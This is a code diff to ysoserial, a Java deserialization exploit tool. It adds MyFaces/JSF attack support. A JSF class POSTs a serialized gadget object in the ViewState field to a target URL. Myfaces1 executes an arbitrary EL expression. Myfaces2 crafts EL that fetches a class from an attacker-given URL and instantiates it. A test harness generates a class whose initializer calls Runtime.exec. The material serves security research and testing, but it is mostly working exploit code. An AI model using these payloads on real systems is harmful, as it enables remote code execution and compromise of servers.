diff --git a/pom.xml b/pom.xml index 66d97e2..4f1264a 100644 --- a/pom.xml +++ b/pom.xml @@ -75,12 +75,12 @@ test - org.nanohttpd - nanohttpd - 2.2.0 - test + org.nanohttpd + nanohttpd + 2.2.0 + test - + @@ -169,6 +169,16 @@ c3p0 0.9.5.2 + + javax.servlet + javax.servlet-api + 3.1.0 + + + org.apache.myfaces.core + myfaces-impl + 2.2.9 + @@ -203,5 +213,45 @@ + + + apache-el + + true + + el + apache + + + + + org.mortbay.jasper + apache-el + 8.0.27 + + + + + + juel + + + el + juel + + + + + de.odysseus.juel + juel-impl + 2.2.7 + + + de.odysseus.juel + juel-api + 2.2.7 + + + diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java new file mode 100644 index 0000000..7706d58 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -0,0 +1,68 @@ +package ysoserial.exploit; + + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + +import org.apache.commons.codec.binary.Base64; + +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * @author mbechler + * + */ +public class JSF { + + /** + * @param args + */ + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + URL u = new URL(args[ 0 ]); + + URLConnection c = u.openConnection(); + if ( ! ( c instanceof HttpURLConnection ) ) { + throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$ + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + + } + + + +} diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java new file mode 100644 index 0000000..b0bf797 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -0,0 +1,92 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - an EL expression to execute + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@SuppressWarnings ( { + "nls", "javadoc" +} ) +@PayloadTest(skip="Requires running MyFaces, no direct execution") +public class Myfaces1 implements ObjectPayload { + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + /** + * @param expr + * @return + * @throws NoSuchFieldException + * @throws IllegalAccessException + * @throws Exception + * @throws ClassNotFoundException + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws InvocationTargetException + */ + public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException, + NoSuchMethodException, InstantiationException, InvocationTargetException { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext"); + fEl.setAccessible(true); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + fEl.set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$ + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java new file mode 100644 index 0000000..d4451dd --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -0,0 +1,90 @@ +package ysoserial.payloads; + + + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for ( int i = 0; i < 100; i++ ) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces2.class, args); + } +} diff --git a/src/test/java/ysoserial/CustomDeserializer.java b/src/test/java/ysoserial/CustomDeserializer.java new file mode 100644 index 0000000..67e212f --- /dev/null +++ b/src/test/java/ysoserial/CustomDeserializer.java @@ -0,0 +1,13 @@ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomDeserializer { + + + Class getCustomDeserializer (); + +} diff --git a/src/test/java/ysoserial/payloads/MyfacesTest.java b/src/test/java/ysoserial/payloads/MyfacesTest.java new file mode 100644 index 0000000..e2d6e0b --- /dev/null +++ b/src/test/java/ysoserial/payloads/MyfacesTest.java @@ -0,0 +1,225 @@ +package ysoserial.payloads; + + +import java.beans.FeatureDescriptor; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import javax.el.BeanELResolver; +import javax.el.ELContext; +import javax.el.ELResolver; +import javax.el.MapELResolver; +import javax.faces.context.FacesContext; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; + +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.mockito.Matchers; +import org.mockito.Mockito; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +import ysoserial.CustomDeserializer; +import ysoserial.Deserializer; + + +/** + * @author mbechler + * + */ +public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { + + /** + * @param command + */ + public MyfacesTest ( String command ) { + super(command); + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomDeserializer#getCustomDeserializer() + */ + public Class getCustomDeserializer () { + return MyfacesDeserializer.class; + } + + /** + * need to use a custom deserializer so that the faces context gets set in the isolated class + * + * @author mbechler + * + */ + public static final class MyfacesDeserializer extends Deserializer { + + public static Class[] getExtraDependencies () { + return new Class[] { + MockRequestContext.class, MockELResolver.class + }; + } + + private static class MockRequestContext implements Answer { + + private Map attributes = new HashMap(); + + + /** + * {@inheritDoc} + * + * @see org.mockito.stubbing.Answer#answer(org.mockito.invocation.InvocationOnMock) + */ + public Object answer ( InvocationOnMock invocation ) throws Throwable { + + if ( "setAttribute".equals(invocation.getMethod().getName()) ) { + this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class)); + return null; + } + else if ( "getAttribute".equals(invocation.getMethod().getName()) ) { + return this.attributes.get(invocation.getArgumentAt(0, String.class)); + } + return null; + } + + } + + + private static class MockELResolver extends ELResolver { + + private ServletRequest request; + + + /** + * + */ + public MockELResolver (ServletRequest req) { + this.request = req; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getValue(javax.el.ELContext, java.lang.Object, java.lang.Object) + */ + @Override + public Object getValue ( ELContext context, Object base, Object property ) { + if ( base == null && "request".equals(property)) { + context.setPropertyResolved(true); + return this.request; + } + + return null; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getType(javax.el.ELContext, java.lang.Object, java.lang.Object) + */ + @Override + public Class getType ( ELContext context, Object base, Object property ) { + if ( base == null && "request".equals(property)) { + context.setPropertyResolved(true); + return ServletRequest.class; + } + return null; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#setValue(javax.el.ELContext, java.lang.Object, java.lang.Object, java.lang.Object) + */ + @Override + public void setValue ( ELContext context, Object base, Object property, Object value ) { + + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#isReadOnly(javax.el.ELContext, java.lang.Object, java.lang.Object) + */ + @Override + public boolean isReadOnly ( ELContext context, Object base, Object property ) { + return true; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getFeatureDescriptors(javax.el.ELContext, java.lang.Object) + */ + @Override + public Iterator getFeatureDescriptors ( ELContext context, Object base ) { + return null; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getCommonPropertyType(javax.el.ELContext, java.lang.Object) + */ + @Override + public Class getCommonPropertyType ( ELContext context, Object base ) { + return null; + } + + } + + /** + * @param bytes + */ + public MyfacesDeserializer ( byte[] bytes ) { + super(bytes); + } + + + @Override + public Object call () throws Exception { + java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); + setFC.setAccessible(true); + ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); + Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); + FacesContext ctx = createMockFacesContext(); + try { + setFC.invoke(null, ctx); + return super.call(); + } + finally { + setFC.invoke(null, (FacesContext) null); + Thread.currentThread().setContextClassLoader(oldTCCL); + } + } + + + /** + * @return + * @throws MalformedURLException + */ + private static FacesContext createMockFacesContext () throws MalformedURLException { + FacesContext ctx = Mockito.mock(FacesContext.class); + CompositeELResolver cer = new CompositeELResolver(); + FacesELContext elc = new FacesELContext(cer, ctx); + ServletRequest requestMock = Mockito.mock(ServletRequest.class); + ServletContext contextMock = Mockito.mock(ServletContext.class); + URL url = new URL("file:///"); + Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url); + Mockito.when(requestMock.getServletContext()).thenReturn(contextMock); + Answer attrContext = new MockRequestContext(); + Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext); + Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any()); + cer.add(new MockELResolver(requestMock)); + cer.add(new BeanELResolver()); + cer.add(new MapELResolver()); + Mockito.when(ctx.getELContext()).thenReturn(elc); + return ctx; + } + } + +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index bc86bd2..036a392 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -23,6 +23,7 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; +import ysoserial.CustomDeserializer; import ysoserial.CustomPayloadArgs; import ysoserial.CustomTest; import ysoserial.Deserializer; @@ -93,6 +94,7 @@ public class PayloadsTest { } String payloadCommand = command; + Class customDeserializer = null; Object wrapper = null; if ( t != null && !t.harness().isEmpty() ) { Class wrapperClass = Class.forName(t.harness()); @@ -105,11 +107,15 @@ public class PayloadsTest { if ( wrapper instanceof CustomPayloadArgs ) { payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); } + + if ( wrapper instanceof CustomDeserializer ) { + customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); + } } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); - Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); if ( wrapper instanceof WrappedTest ) { callable = ( (WrappedTest) wrapper ).createCallable(callable); } @@ -162,11 +168,11 @@ public class PayloadsTest { * @return */ private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, - final byte[] serialized ) { + final byte[] serialized, final Class customDeserializer ) { return new Callable() { public Object call () throws Exception { - return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer); } }; } @@ -205,7 +211,7 @@ public class PayloadsTest { } - private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies ) + static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies, final Class customDeserializer ) throws Exception { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; URL[] urls = new URL[jars.length]; @@ -220,13 +226,27 @@ public class PayloadsTest { byte[] classAsBytes = ClassFiles.classAsBytes(clazz); defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); } - byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); - defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); - + byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class); + defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + + if ( customDeserializer != null ) { + + try { + Method method = customDeserializer.getMethod("getExtraDependencies"); + for ( Class extra : (Class[])method.invoke(null)) { + deserializerClassBytes = ClassFiles.classAsBytes(extra); + defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + } + } catch ( NoSuchMethodException e ) { } + + deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer); + defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + } + } }; - Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); + Class deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName()); Callable deserializer = (Callable) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); final Object obj = deserializer.call(); return obj; diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java index 7ab6be9..e2f8d6f 100644 --- a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -20,9 +20,9 @@ import ysoserial.WrappedTest; */ public class RemoteClassLoadingTest implements WrappedTest { - private int port; + int port; private String command; - + private String className; /** * @@ -30,6 +30,7 @@ public class RemoteClassLoadingTest implements WrappedTest { public RemoteClassLoadingTest ( String command ) { this.command = command; this.port = new Random().nextInt(65535-1024)+1024; + this.className = "Exploit-" + System.currentTimeMillis(); } @@ -39,7 +40,7 @@ public class RemoteClassLoadingTest implements WrappedTest { * @see ysoserial.WrappedTest#getPayloadArgs() */ public String getPayloadArgs () { - return String.format("http://localhost:%d/", this.port) + ":Exploit"; + return String.format("http://localhost:%d/", this.port) + ":" + this.className; } @@ -53,12 +54,12 @@ public class RemoteClassLoadingTest implements WrappedTest { } - private byte[] makePayloadClass () { + protected byte[] makePayloadClass () { try { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Exploit.class)); final CtClass clazz = pool.get(Exploit.class.getName()); - clazz.setName("Exploit"); + clazz.setName(this.className); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); return clazz.toBytecode(); } @@ -68,7 +69,7 @@ public class RemoteClassLoadingTest implements WrappedTest { } } - static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { + static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { private Callable innerCallable; private byte[] data; @@ -131,7 +132,7 @@ public class RemoteClassLoadingTest implements WrappedTest { } - private static class Exploit { + public static class Exploit { } }